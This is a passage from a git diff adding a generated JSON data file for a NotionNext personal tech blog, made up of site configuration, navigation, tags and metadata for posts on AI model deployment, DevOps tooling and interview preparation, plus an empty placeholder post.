5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},"recommendPosts":[]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-8.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-8.json new file mode 100644 index 000000000..edb7bfd6f --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/example-8.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-8","tags":["Python","健康"],"summary":"仅供列表展示、文章无内容","title":"空白文章8","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:20:08.239Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9","pageCoverThumbnail":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=b4a852c3-8bab-43ef-b748-8dec9d0940f9&width=800&fmt=webp","tagItems":[{"name":"Python","color":"gray"},{"name":"健康","color":"pink"}],"password":"","blockMap":{"block":{"b4a852c3-8bab-43ef-b748-8dec9d0940f9":{"value":{"id":"b4a852c3-8bab-43ef-b748-8dec9d0940f9","version":7,"type":"page","content":["82d871b0-86d3-4d3c-8d4c-fe70087f3d69","ba10eba5-9ed2-4ed2-92a2-662ef2f3c2f7","c2d93490-64f9-4cb1-882b-ce82d4e86e34","ad9f849c-2f34-425c-8ae2-9b3e5fd954ad","9a7a521d-391c-4709-bc52-426bcdc88d29","931b0fc5-4a3c-42a1-9e72-2f98575aabe4","bfd4a004-433b-4690-91c1-564daf7111de","26ae09ec-3360-4a22-8a1c-5a04558cd1bf","ab7c6e96-b91c-45bc-85d0-f8c5da4ea1ec","429902e3-fd85-467c-823e-a01d0c6f3585","2b18786d-ffa2-4d78-9627-a8e7e7ff5764","3cfd7e2b-1101-45dd-aa39-381d8a0d5173","14fcaf05-02a3-4cb7-8229-9512ee7a23f1","4c8e427a-3bcd-4247-85b8-39aa455c2e41"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1573164713988-8665fc963095?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"9f28556e-a9f0-4c1b-80fb-3dbe4f348497","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_c